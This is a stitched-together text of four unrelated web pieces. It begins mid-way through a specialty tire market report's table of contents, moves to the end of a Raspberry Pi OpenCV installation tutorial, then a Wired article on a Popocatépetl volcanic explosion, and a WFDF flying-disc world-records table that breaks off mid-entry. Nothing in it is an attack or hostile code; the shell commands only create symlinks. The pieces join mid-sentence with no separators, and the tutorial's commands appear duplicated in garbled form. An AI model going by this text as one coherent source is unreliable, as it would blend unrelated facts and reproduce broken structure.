2.23.2.1 Type 1 2.23.2.2 Type 2 2.23.3 Kumho Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.24 Apollo 2.24.1 Business Overview 2.24.2 Specialty Tire Consumption Type and Applications 2.24.2.1 Type 1 2.24.2.2 Type 2 2.24.3 Apollo Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 2.25 Nokian 2.25.1 Business Overview 2.25.2 Specialty Tire Consumption Type and Applications 2.25.2.1 Type 1 2.25.2.2 Type 2 2.25.3 Nokian Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share 3 Global Specialty Tire Consumption Market Competition, by Manufacturer 3.1 Global Specialty Tire Consumption Sales and Market Share by Manufacturer 3.2 Global Specialty Tire Consumption Revenue and Market Share by Manufacturer 3.3 Market Concentration Rate 3.3.1 Top 3 Specialty Tire Consumption Manufacturer Market Share 3.3.2 Top 6 Specialty Tire Consumption Manufacturer Market Share 3.4 Market Competition Trend 4 Global Specialty Tire Consumption Market Analysis by Regions 4.1 Global Specialty Tire Consumption Sales, Revenue and Market Share by Regions 4.1.1 Global Specialty Tire Consumption Sales by Regions (2011-2016) 4.1.2 Global Specialty Tire Consumption Revenue by Regions (2011-2016) 4.2 North America Specialty Tire Consumption Sales and Growth (2011-2016) 4.3 Europe Specialty Tire Consumption Sales and Growth (2011-2016) 4.4 Asia-Pacific Specialty Tire Consumption Sales and Growth (2011-2016) 4.5 South America Specialty Tire Consumption Sales and Growth (2011-2016) 4.6 Middle East and Africa Specialty Tire Consumption Sales and Growth (2011-2016) 5 North America Specialty Tire Consumption by Countries 5.1 North America Specialty Tire Consumption Sales, Revenue and Market Share by Countries 5.1.1 North America Specialty Tire Consumption Sales by Countries (2011-2016) 5.1.2 North America Specialty Tire Consumption Revenue by Countries (2011-2016) 5.2 USA Specialty Tire Consumption Sales and Growth (2011-2016) 5.3 Canada Specialty Tire Consumption Sales and Growth (2011-2016) 5.4 Mexico Specialty Tire Consumption Sales and Growth (2011-2016) 6 Europe Specialty Tire Consumption by Countries 6.1 Europe Specialty Tire Consumption Sales, Revenue and Market Share by Countries 6.1.1 Europe Specialty Tire Consumption Sales by Countries (2011-2016) 6.1.2 Europe Specialty Tire Consumption Revenue by Countries (2011-2016) 6.2 Germany Specialty Tire Consumption Sales and Growth (2011-2016) 6.3 UK Specialty Tire Consumption Sales and Growth (2011-2016) 6.4 France Specialty Tire Consumption Sales and Growth (2011-2016) 6.5 Russia Specialty Tire Consumption Sales and Growth (2011-2016) 6.6 Italy Specialty Tire Consumption Sales and Growth (2011-2016) 7 Asia-Pacific Specialty Tire Consumption by Countries 7.1 Asia-Pacific Specialty Tire Consumption Sales, Revenue and Market Share by Countries 7.1.1 Asia-Pacific Specialty Tire Consumption Sales by Countries (2011-2016) 7.1.2 Asia-Pacific Specialty Tire Consumption Revenue by Countries (2011-2016) 7.2 China Specialty Tire Consumption Sales and Growth (2011-2016) 7.3 Japan Specialty Tire Consumption Sales and Growth (2011-2016) 7.4 Korea Specialty Tire Consumption Sales and Growth (2011-2016) 7.5 India Specialty Tire Consumption Sales and Growth (2011-2016) 7.6 Southeast Asia Specialty Tire Consumption Sales and Growth (2011-2016) 8 South America, Middle East and Africa Specialty Tire Consumption by Countries 8.1 South America, Middle East and Africa Specialty Tire Consumption Sales, Revenue and Market Share by Countries 8.1.1 South America, Middle East and Africa Specialty Tire Consumption Sales by Countries (2011-2016) 8.1.2 South America, Middle East and Africa Specialty Tire Consumption Revenue by Countries (2011-2016) 8.2 Brazil Specialty Tire Consumption Sales and Growth (2011-2016) 8.3 Saudi Arabia Specialty Tire Consumption Sales and Growth (2011-2016) 8.4 Egypt Specialty Tire Consumption Sales and Growth (2011-2016) 8.5 Nigeria Specialty Tire Consumption Sales and Growth (2011-2016) 8.6 South Africa Specialty Tire Consumption Sales and Growth (2011-2016) 9 Specialty Tire Consumption Market Segment by Type 9.1 Global Specialty Tire Consumption Sales, Revenue and Market Share by Type (2011-2016) 9.1.1 Global Specialty Tire Consumption Sales and Market Share by Type (2011-2016) 9.1.2 Global Specialty Tire Consumption Revenue and Market Share by Type (2011-2016) 9.2 Radial Agriculture Tires Sales Growth and Price 9.2.1 Global Radial Agriculture Tires Sales Growth (2011-2016) 9.2.2 Global Radial Agriculture Tires Price (2011-2016) 9.3 Bias (Crossply) Agriculture Tires Sales Growth and Price 9.3.1 Global Bias (Crossply) Agriculture Tires Sales Growth (2011-2016) 9.3.2 Global Bias (Crossply) Agriculture Tires Price (2011-2016) 9.4 Sales Growth and Price 9.4.1 Global Sales Growth (2011-2016) 9.4.2 Global Price (2011-2016) 10 Specialty Tire Consumption Market Segment by Application 10.1 Global Specialty Tire Consumption Sales Market Share by Application (2011-2016) 10.2 Agricultural equipment Sales Growth (2011-2016) 10.3 Off-road vehicles Sales Growth (2011-2016) 10.4 Others Sales Growth (2011-2016) 10.5 Sales Growth (2011-2016) 11 Specialty Tire Consumption Market Forecast (2016-2021) 11.1 Global Specialty Tire Consumption Sales, Revenue and Growth Rate (2016-2021) 11.2 Specialty Tire Consumption Market Forecast by Regions (2016-2021) 11.3 Specialty Tire Consumption Market Forecast by Type (2016-2021) 11.4 Specialty Tire Consumption Market Forecast by Application (2016-2021) 12 Sales Channel, Distributors, Traders and Dealers 12.1 Sales Channel 12.1.1 Direct Marketing 12.1.2 Indirect Marketing 12.1.3 Marketing Channel Future Trend 12.2 Distributors, Traders and Dealers 13 Appendix 13.1 Methodology 13.2 Analyst Introduction 13.3 Data Source List of Tables and Figures Figure Specialty Tire Consumption Picture Figure Global Sales Market Share of Specialty Tire Consumption by Types in 2015 Table Specialty Tire Consumption Types for Major Manufacturers Figure Radial Agriculture Tires Picture Figure Bias (Crossply) Agriculture Tires Picture Figure Picture Table Specialty Tire Consumption Sales Market Share by Applications in 2015 Table Michelin Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Michelin Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Bridgestone Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Bridgestone Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Goodyear Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Goodyear Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Titan Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Titan Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Pirelli Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Pirelli Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Continental Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Continental Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table BKT Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table BKT Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table ATG Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table ATG Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Yokohama Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Yokohama Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Trelleborg Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Trelleborg Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Mitas Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Mitas Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Chemchina Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Chemchina Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Triangle Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Triangle Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Guizhou Tire Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Guizhou Tire Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Xingyuan Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Xingyuan Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Giti Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Giti Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Xugong Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Xugong Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Linglong Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Linglong Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Zhongce Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Zhongce Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Sumitomo Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Sumitomo Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Cheng Shin Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Cheng Shin Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table MRF Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table MRF Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Kumho Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Kumho Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Apollo Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Apollo Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Nokian Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Nokian Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue, Gross Margin and Market Share (2015-2016) Table Basic Information, Manufacturing Base and Competitors Table Specialty Tire Consumption Type and Applications Table Specialty Tire Consumption Sales, Price, Revenue,
+: < 3 minutes Raspberry Pi 2: < 1 minute Step 10: If you’ve gotten this far in the guide, OpenCV should now be installed in /usr/local/lib/python2.7/site-packages But in order to utilize OpenCV within our cv virtual environment, we first need to sym-link OpenCV into our site-packages directory: Install OpenCV and Python your Raspberry Pi 2 and B+ $ cd ~/.virtualenvs/cv/lib/python2.7/site-packages/ $ ln -s /usr/local/lib/python2.7/site-packages/cv2.so cv2.so $ ln -s /usr/local/lib/python2.7/site-packages/cv.py cv.py 1 2 3 $ cd ~ /.virtualenvs / cv / lib / python2. 7 / site - packages / $ ln - s / usr / local / lib / python2. 7 / site - packages / cv2.so cv2.so $ ln - s / usr / local / lib / python2. 7 / site - packages / cv.py cv.py Step 11: Finally, we can give our OpenCV and Python installation a test drive: Install OpenCV and Python your Raspberry Pi 2 and B+ $ workon cv $ python >>> import cv2 >>> cv2.__version__ '2.4.10' 1 2 3 4 5 $ workon cv $ python >>> import cv2 >>> cv2.__version__ '2.4.10' OpenCV and Python is now successfully installed on your Raspberry Pi! Here is an example of me ssh’ing (with X11 forwarding) into my Raspberry Pi, followed by loading and displaying an image: So, what’s next? Congrats! You have a brand new, fresh install of OpenCV on your Raspberry Pi — and I’m sure you’re just itching to leverage your Raspberry Pi to build some awesome computer vision apps. But I’m also willing to bet that you’re just getting started learning computer vision and OpenCV, and you’re probably feeling a bit confused and overwhelmed on where exactly to start. Personally, I’m a big fan of learning by example, so a good first step would be to read this blog post on accessing your Raspberry Pi Camera with the picamera module. This tutorial details the exact steps you need to take to (1) capture photos from the camera module and (2) access the raw video stream. And if you’re really interested in leveling-up your computer vision skills, you should definitely check out my book, Practical Python and OpenCV + Case Studies. My book not only covers the basics of computer vision and image processing, but also teaches you how to solve real world computer vision problems including face detection in images and video streams, object tracking in video, and handwriting recognition. All code examples covered in the book are guaranteed to run on the Raspberry Pi 2 and Pi 3 as well! Most programs will also run on the B+ and Zero models, but might be a bit slow due to the limited computing power of the B+ and Zero. So let’s put your fresh install of OpenCV on your Raspberry Pi to good use — just click here to learn more about the real-world projects you can solve using your Raspberry Pi + Practical Python and OpenCV. Summary In this blog post I detailed how to install OpenCV and Python on your Raspberry Pi 2 or Raspberry Pi B+. Timings for each installation step were also provided so you could plan out the install accordingly. As the Raspberry Pi (along with Raspbian/NOOBS) evolves the installation instructions will likely change. If you run across any edge cases or variations in the install instructions, please feel free to let me know. While I can’t promise that I can reply to every email, but I think it would be good to curate a list of methods to setup OpenCV and Python on Raspberry Pi systems. And in future blog posts we’ll explore how to utilize the camera add-on for the Raspberry Pi. Until then, take a look at the PyImageSearch Gurus computer vision course. We’ll be utilizing the Raspberry Pi inside the course for a few projects, including building a home surveillance application that can detect motion and people in rooms.You probably wouldn’t be lurking here if you didn’t think this was cool. Wired: Volcanism at Mexico’s Popocatépetl is highly punctuated, especially during its current level of activity where domes of lava grow in the summit crater. These domes occasionally collapse or are destroyed by explosions that can lessen the pressure on the magma beneath to create an even larger explosion. This is akin to popping the top off a shaken bottle of soda — the dissolved bubbles come out of solution rapidly as the pressure is released and you get an explosion of soda. Today, Popocatépetl had one of those explosions, and thanks to the beautiful weather in Mexico and some nice placement of webcams surrounding the volcano, the explosion was caught on some pretty amazing webcam footage compiled by webcamsdemexico (see above). The video is short, only 30 second long, but after the first few seconds of calm, the explosion occurs, sending a dark grey plume into the atmosphere above the volcano. Now, these explosions come with a lot of force, and you can see after the initial explosion is how the clouds of water vapor around Popocatepetl shudder as the explosion front moves past. Then quickly, the upper flanks of the volcano turn grey from the rapid raining out of ash and volcanic debris (tephra). It is a little surprising how little the clouds actually care that the explosion just occurred at first, but as the explosion continues in this sped up video, the clouds do begin to show more disruption from the hot ash and volcanic gases being released during the explosion. You can also notice how the plume reaches neutral buoyancy not too far above the volcano (bigger the explosion, the higher it can reach before this happens) as the plume begins to spread laterally (to the right in this video) into that classic shape. My guess is the plume was a few kilometers tall by the time the video ends. You can see how pulsatory the eruption is as well, with the dark plume churning like steam from a steam engine. This might be due to new magma rising in the conduit, feeding the eruption as it continues. However, even with all this fury, the volcano went back to looking idyllic with only some minor puffs of ash within two hours after the explosion (see below) and only the grey ash on the slopes to show for the seemingly giant explosion. Even as impressive as that explosion seems, these ash and tephra deposits usually are wiped clean out of much of the geologic record by rains as they are only a few centimeters thick near the volcano and millimeters thick further away.WFDF World Records - Script Detailed Information On Disciplines WFDF World Record Regulations Last Update: 12/18/2018 Please Select Distance Maximum Time Aloft (MTA) Throw, Run & Catch (TRC) Self-Caught Flight (SCF) Accuracy Other Outdoor Distance Class Result Name Date Location Open 338.00 m David Wiggins, Jr. (USA) 03/28/2016 Primm, NV, USA History Open 173.3 m Jennifer Allen (USA) 03/26/2016 Primm, NV, USA History u1 0.96 m Brooke McMurtry (USA) 05/24/2003 La Mirada, CA, USA History u1 3.16 m Evan Fogle (USA) 04/15/1991 Tacoma, WA, USA u2 3.66 m Brooke McMurtry (USA) 05/21/2004 La Mirada, CA, USA u2 14.45 m Brady Turner (USA) 11/18/2013 Gainesville, VA, USA History u3 10.29 m Tova Källström (SWE) 09/19/2004 Århusgatan, SWE u3 28.27 m Kaidin Adam Bell (USA) 07/30/2014 Grand Rapids, MI, USA History u4 21.23 m Scarlett LeCompte (USA) 03/29/2016 Hartselle, AL, USA History u4 33.86 m Kaidin Adam Bell (USA) 07/05/2015 Grand Rapids, MI, USA History u5 30.43 m Scarlett LeCompte (USA) 03/23/2017 Hartselle, AL, USA History u5 49.14 m Kaidin Adam Bell (USA) 05/15/2016 Grand Rapids, MI, USA History u6 37.34m Scarlett LeCompte (USA) 03/23/2018 Hartselle, AL, USA u6 54.10 m KaidIn Bell (USA) 05/20/2017 Grand Rapids, MI, USA History u7 66.03 m Kaidin Bell (USA) 02/25/2018 Grand Rapids, MI, USA History u8 53.08 m Saika Hori (JPN) 07/19/2010 Aisai-city, Aichi, JPN u8 84.12 m Nicholas Duran (USA) 04/01/2007 Mesa, AZ, USA u9 57.04 m Saika Hori (JPN) 06/25/2011 Aisai-city, Aichi, JPN u9 96.26 m Nicholas Duran (USA) 04/06/2008 Pinetop, AZ, USA u10 76.80 m Saika Hori (JPN) 07/22/2012 Tachikawa-city, Tokyo, JPN History u10 112.12 m Nicholas Duran (USA) 03/28/2009 Pinetop, AZ, USA u11 85.50 m Saika Hori (JPN) 11/17/2013 Kitakami-city, Iwate, JPN History u11 129.84 m Nicholas Duran (USA) 04/04/2010 Pinetop, AZ, USA u12 97.74 m Mary Uhlarik (USA) 05/18/1991 La Mirada, CA, USA u12 152.45 m Nicholas Duran (USA) 04/11/2011 Pine Top, AZ, USA u13 123.04 m Mary Uhlarik (USA) 05/30/1992 La Mirada, CA, USA u13 176.00 m David Wiggins, Jr. (USA) 04/05/2008 Primm, NV, USA u14 126.95 m Saika Hori (JPN) 07/24/2016 Tachikawa-city, Tokyo, JPN u14 224.00 m David Wiggins, Jr. (USA) 04/03/2009 Primm, NV, USA u15 130.9 m Yu Han Wang (ROC) 10/24/2015 Taipei City, ROC u16 134.02 m Saika Hori (JPN) 08/12/2018 Tachikawa-city, Tokyo, JPN History u17 136 m Yu Han Wang (ROC) 07/29/2017 Basingstoke, London, UK u17 296.3 m Austin Spradlin (USA) 03/28/2016 Primm, NV, USA History o35 173.3 m Jennifer Allen (USA) 03/26/2016 Primm, NV, USA History o35 212.00 m Christian Voigt (GER) 10/18/2010 Primm, NV, USA o45 135.20 m Juliana Korver (USA) 03/26/2016 Primm, NV, USA History o45 186 m Jeff Stoops (USA) 04/13/2012 Primm, NV, USA History o55 95.98 m Mariko Tasaki (JPN) 08/06/2017 Tachikawa-city, Tokyo, JPN History o55 186 m Jeff Stoops (USA) 04/13/2012 Primm, NV, USA History o65 56.69 m Leslie Charles (USA) 07/12/2008 Dexter, MI, USA o65 148 m Michael Conger (USA) 07/23/2013 Norrköping, SWE History o70 133.00 m John Kirkland (USA) 06/24/2017 San Diego, CA, USA o75 77.31 m Jack Roddick (USA) 07/11/1996 Easton, MA, USA o80 47.80 m Mary Low (USA) 10/01/2012 Dexter, MI, USA History o80 66.00 m Jack Roddick (USA) 07/18/2002 Brimfield, MA, USA o85 54.00 m Jack Roddick (USA) 07/13/2007 Cortland, NY, USA o90 27.40 m Sachiko Onuki (JPN) 10/11/2018 Utsunomiya-shi, Tochigi-ken, JPN o90 41.25 m Jack Roddick (USA) 09/19/2012 Shippensburg, PA, USA o95 9.05 m Toshi Fujimoto (JPN) 10/26/2003 Otsu-shi, Shiga-ken, JPN o95 27.00 m Jack Roddick (USA) 09/03/2016 Newville, PA, USA o100 8.08 m Esther Johnson (USA) 07/26/2008 Cupertino, CA. USA Wheelchair Distance Class Result Name Date Location WC1 59.44 m John Ballsrud (USA) 07/19/1980 Minneapolis, MN, USA WC2 43.49 m James Connelly (USA) 09/21/1985 Winston-Salem, NC, USA WC3 91.84 m Antwone Archie (USA) 10/18/1986 Winston-Salem, NC, USA WC3 45.00 m Noriko Kaneda (JPN) 07/06/2003 Utsunomiya-shi, Tochigi-ken, JPN Upside Down Distance Class Result Name Date Location Open 147.20 m Jason Cortella (USA) 10/26/2014 Primm, NV, USA History Open 68.80 m Juliana Korver (USA) 10/26/2014 Primm, NV, USA History u2 5.31 m Kaidin Adam Bell (USA) 07/30/2013 Grand Rapids, MI, USA u3 9.674 m Kaidin Adam Bell (USA) 05/22/2014 Grand Rapids, MI, USA History u4 4.78 m Annie King (CAN) 12/22/2016 Elkford, BC, CAN u4 16.54 m Kaidin Adam Bell (USA) 07/27/2015 Grand Rapids, MI, USA u5 8.16 m Annie King (CAN) 10/16/2017 Elkford, BC, CAN History u5 22.17 m Kaidin Adam Bell (USA) 07/27/2016 Grand Rapids, MI, USA u6 9.95 m Annie King (CAN) 10/27/2018 Elkford, BC, CAN u6 22.34 m Kaidin Adam Bell (USA) 07/06/2017 Grand Rapids, MI, USA u7 24.44 m Kaidin Adam Bell (USA) 07/28/2018 Grand Rapids, MI, USA u9 12.53 m Clara Giendl (AUT) 04/25/2010 Baden (Vienna), AUT u10 37.84 m Adrian Collantes (AUT) 04/26/2009 Baden (Vienna), AUT u13 19.00 m Mariam El Nabriss (AUT) 04/30/2011 Retz, AUT u13 51.90 m Louis Lindegaard (DEN) 09/03/2005 Lolland, DEN u14 29.54 m Julie Fjelde (DEN) 09/03/2005 Lolland, DEN u14 64.37 m Juho Parviainen (FIN) 09/19/1999 Oulu, FIN u15 79.50 m Seppo Paju (FIN) 01/15/2009 Oulu, FIN u17 81.50 m Austin Spradlin (USA) 03/27/2016 Primm, NV, USA u18 91.34 m Teemu Inkala-Hartoularis (FIN) 06/08/2000 Oulu, FIN o35 68.80 m Juliana Korver (USA) 10/26/2014 Primm, NV, USA o35 94.93 m Antti Luuri (FIN) 09/23/2000 Oulu, FIN o45 59.7 m Juliana Korver (USA) 03/27/2016 Primm, NV, USA o45 94.00 m Risto Moisanen (FIN) 08/15/2009 Oulu, FIN o55 43.50 m Suzette Simons (USA) 03/27/2016 Primm, NV, USA, History o55 84.70 m Rick LeBeau (USA) 10/26/2014 Primm, NV, USA o65 62.40 m John Kirkland (USA) 10/24/2014 Primm, NV, USA Roller Distance (turf) Class Result Name Date Location Open 211.24 m Chris Max Voigt (GER) 11/01/1997 Malmö, SWE Open 95.12 m Rhode Östling (SWE) 11/09/1996 Malmö, SWE u2 21.23 m Brinlee Bell (USA) 11/14/2017 Grand Rapids, MI, USA History u3 42.14 m Brinlee Bell (USA) 10/21/2018 Grand Rapids, MI, USA History u4 50.65 m Kaidin Adam Bell (USA) 07/19/2015 Grand Rapids, MI, USA u5 62.07 m Kaidin Adam Bell (USA) 07/06/2016 Grand Rapids, MI, USA u6 70.31 m Kaidin Adam Bell (USA) 06/27/2017 Grand Rapids, MI, USA u7 83.54 m Kaidin Adam Bell (USA) 06/25/2018 Grand Rapids, MI, USA u8 41.15 m Emily Jean Bambury (USA) 07/20/2014 St. Paul, MN, USA u13 148.00 m Cody Kirkland (USA) 01/03/2006 San Diego, CA, USA u14 61.48 m Tyler Larson (CAN) 08/13/2016 St. Thomas, Ontario, CAN u14 183.00 m Cody Kirkland (USA) 01/05/2007 San Diego, CA, USA o45 206.00 m Hiroshi Oshima (JPN) 01/26/2008 Hokkaido Nakashibetsu-tyou, JPN o55 131.00 m Torben Wigger (DEN) 04/10/2005 Ishøj, DEN Roller Distance (non-turf) Class Result Name Date Location Open 1156.00 m Randy Lahm (USA) 04/01/2001 El Mirage, CA, USA Open 145.00 m Juliana Korver (USA) 03/27/2016 Primm, NV, USA u2 52.76 m Brinlee Bell (USA) 11/20/2017 Grand Rapids, MI, USA History u3 52.76 m Brinlee Bell (USA) 11/20/2017 Grand Rapids, MI, USA History u4 65.84 m Kaidin Adam Bell (USA) 07/26/2015 Grand Rapids, MI, USA u5 18.21 m Karoline Jepsen (DEN) 09/03/2005 Lolland, DEN u5 72.68 m Kaidin Adam Bell (USA) 07/21/2016 Grand Rapids, MI, USA u6 84.35 m Kaidin Adam Bell (USA) 07/28/2017 Grand Rapids, MI, USA u7 86.58 m Kaidin Adam Bell (USA) 07/28/2018 Grand Rapids, MI, USA o45 145.00 m Juliana Korver (USA) 03/27/2016 Primm, NV, USA o55 71.90 m Suzette Simons (USA) 03/27/2016 Prime, NV, USA, Gridiron Field Goal Distance Class Result Name Date Location Open 131.00 m Christian Voigt (GER) 11/01/1997 Malmö, SWE Open 72.00 m Tami Pellicane (USA) 10/19/1988 Dallas, TX, USA u3 15.68 m Kaidin Adam Bell (USA) 07/30/2014 Grand Rapids, MI, USA u4 25.30 m Kaidin Adam Bell (USA) 07/05/2015 Grand Rapids, MI, USA u5 31.29 m Kaidin Adam Bell (USA) 07/29/2016 Grand Rapids, MI, USA u6 33.02 m Kaidin Adam Bell (USA) 06/26/2017 Grand Rapids, MI, USA u7 36.68 m Kaidin Adam Bell (USA) 06/25/2018 Grand Rapids, MI, USA Gridiron Mini Field Goal Distance Class Result Name Date Location Open 64.00 m Kurt Karlsson (SWE) 11/09/1996 Malmö, SWE u3 11.94 m Kaidin Adam Bell (USA) 07/27/2014 Grand Rapids, MI, USA u4 15.62 m Kaidin Adam Bell (USA) 07/27/2015 Grand Rapids, MI, USA u5 18.54 m Kaidin Adam Bell (USA) 07/24/2016 Grand Rapids, MI, USA u6 22.94 m Kaidin Adam Bell (USA) 07/11/2017 Grand Rapids, MI, USA u7 24.46 m Kaidin Adam Bell (USA) 06/25/2018 Grand Rapids, MI, USA Mini Disc Distance Class Result Name Date Location Open 160.90 m Simon Lizotte (GER) 10/24/2014 Primm, NV, USA History Open 92.4 m Jennifer Allen (USA) 03/27/2016 Primm, NV, USA History u1.43 m Brinlee Bell (USA) 11/27/2016 Grand Rapids, MI, USA u2 10.98 m Kaidin Adam Bell (USA) 06/27/2013 Grand Rapids, MI, USA History u3 20.73 m Kaidin Adam Bell (USA) 05/22/2014 Grand Rapids, MI, USA History u4 9.84 m Allie Schneider (USA) 01/28/2012 Banner Elk, NC, USA History u4 24.99 m Kaidin Adam Bell (USA) 07/05/2015 Grand Rapids, MI, USA History u5 29.22 m Kaidin Adam Belli (USA) 07/15/2016 Grand Rapids, MI, USA History u6 17.59 m Allie Schneider (USA) 04/29/2014 Riverside, CA, USA u6 31.95 m Kaidin Adam Bell (USA) 07/06/2017 Grand Rapids, MI, USA History u7 35.71 m Kaidin Adam Bell (USA) 06/25/2018 Grand Rapids, MI, USA u8 37.82 m Adrian Collantes (AUT) 04/22/2007 Baden (Vienna), AUT u9 27.02 m Mia Schneider (USA) 04/29/2014 Riverside, CA, USA History u9 41.00 m Adrian Collantes (AUT) 04/27/2008 Baden (Vienna), AUT u11 28.48 m Mariam El Nabriss (AUT) 04/26/2009 Baden (Vienna), AUT u11 52.00 m Adrian Collantes (AUT) 04/25/2010 Baden (Vienna), AUT u14 68.66 m Adam Willetts (GBR) 07/14/2007 Netherton, GB u17 110.8 m Austin Spradlin (USA) 03/27/2016 Primm, NV, USA o35 92.4 m Jennifer Allen (USA) 03/27/2016 Primm, NV, USA History o45 88.0 m Juliana Korver (USA) 03/27/2016 Primm, NV, USA History o55 55.10 m Suzette Simons (USA) 03/27/2016 Primm, NV, USA History o55 107.30 m Rick LeBeau (USA) 10/26/2014 Primm, NV, USA History o65 84.00 m John Kirkland (USA) 10/24/2014 Primm, NV, USA Indoor Distance Class Result Name Date Location Open 143.56 m Dan Berman (USA) 12/10/2005 USN Aircraft Carrier JFK, USA Open 96.27 m Chris O´Cleary (USA) 07/27/1991 Toronto, CAN u2 13.09 m Kaidin Adam Bell (USA) 07/29/2013 Grand Rapids, MI, USA u3 3.86 m Karoline Guldager Jepsen (DEN) 10/13/2003 Valby, DEN u3 23.47 m Kaidin Adam Bell (USA) 07/28/2014 Grand Rapids, MI, USA History u4 5.62 m Annie King (CAN) 12/24/2016 Lethbridge, Alberta, CAN u4 34.80 m Kaidin Adam Bell 